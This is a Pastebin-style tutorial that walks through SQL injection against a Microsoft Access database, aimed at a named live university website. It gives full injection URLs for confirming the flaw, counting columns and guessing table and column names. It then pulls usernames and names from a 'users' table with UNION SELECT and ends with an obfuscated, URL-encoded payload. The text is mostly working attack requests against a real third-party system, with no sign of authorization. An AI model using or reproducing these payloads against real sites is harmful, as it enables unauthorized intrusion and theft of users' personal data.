Advertisement
Kyfx

MICROSOFT ACCESS SQL INJECTION

May 31st, 2015
570
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.95 KB | None | 0 0
  1. MICROSOFT ACCESS SQL INJECTION
  2. Here I will show you how to perform SQL injection against MSACCESS database :)
  3. As we know MS_ACCESS have no information_schema so we have to brute force almost everything :p
  4. same like Mysql<=4 :)
  5. For better understanding , I am gonna perform injection on live site *_*
  6. Here we goes ,
  7. SITE: http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12
  8.  
  9. lets check its false positive or not,
  10.  
  11. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 1=1 (no error)
  12. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 1>1 (error *_* )
  13. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 1=2 (Error)
  14.  
  15. Its integer based, lets start injection now ;)
  16.  
  17. Lets Find number of columns by simple order by statement,
  18.  
  19. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 1 ( no error )
  20. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 2 (no error)
  21. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 3 (no error)
  22. .
  23. .
  24. .
  25. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 7 (Error)
  26.  
  27. so here number of columns are 6 :)
  28. we cant use union select statement unless we know at least one table_name.
  29. Lets find Table_name First. As I already mentioned MS_ACCESS have no information_schema, so we have to guess Table names here is your Query :)
  30.  
  31. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 0<=(select count(*) from [hii] and 1=1
  32.  
  33. here is your result as "hii" is not a valid table_name :)
  34.  
  35.  
  36. Now replace a "hii" with some common table names,
  37. I highly recommended you to use some automated tools or script to do this, because its some what annoying process. :/ & time consuming too . I had written python script for this , I will publish it soon ;)
  38.  
  39. For now lets do it manually ;
  40.  
  41. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 0<=(select count(*) from [admin] and 1=1
  42. ...................... ( ERROR)
  43.  
  44. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 0<=(select count(*) from [tbl_user] and 1=1 ............................(ERROR)
  45.  
  46. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 0<=(select count(*) from [users] and 1=1 .......... ( BINGO!!!!!! NO ERROR) *_*
  47.  
  48. So, its indicate that table "users" exists in the database :)
  49.  
  50. Same procedure we can follow to find columns, here is our Query :)
  51.  
  52. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 0<=(select count([hii]) from [users]) and 1=1
  53. now replace "hii" with different column_names, & repeat whole procedure again hope you understand :)
  54.  
  55. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12and 0<=(select count([id]) from [users]) and 1=1
  56. .............( NO ERROR)
  57.  
  58. after spending a lot time on column names I found " id , name,email " as a columns for table "users"
  59.  
  60. NOW LETS DO IT UNION BASED,
  61.  
  62. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 union select 1,2,3,4,5,6 from users
  63. ............................(HERE WE MUST HAVE TO MENTION THE TABLE NAME )
  64.  
  65.  
  66. here we got vulnerable column 2.
  67.  
  68. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 union select 1,2,3,4,5,6 from users
  69.  
  70. Lets extract some data from table "user" where columns names are " id, name, & email, username " ;)
  71.  
  72. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 union select 1,username,3,4,5,6 from users
  73.  
  74. Once I posted this as a challenge on "Web InJ3ct0rs-SQL, XSS, LDAP, XPATH ,XML ,R/LFI Injections"
  75. I got a different solutions from Others, m gonna share one of it with you..
  76.  
  77. Thanx to Janus Slovan for his solution, :)
  78.  
  79. http://www.cityuniversity.edu.pk/cusitnew/news.php?id=-2%20UnIoN%20aLL%20SeLeCt%201,%20%20left(date(),10)%20%2b%20%20CHR(32)%20%2b%20CHR(58)%20%2b%20CHR(58)%20%2b%20CHR(32)%20%2b%20CHR(106)%20%2b%20CHR(97)%20%2b%20CHR(110)%20%2b%20CHR(117)%20%2b%20CHR(115)%20%2b%20%20CHR(32)%20%2b%20CHR(58)%20%2b%20CHR(58)%20%2b%20CHR(32)%20%2b%20username%20%2b%20%20CHR(32)%20%2b%20CHR(58)%20%2b%20CHR(58)%20%2b%20CHR(32)%20%2b%20name,3,4,5,6%20from%20users
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement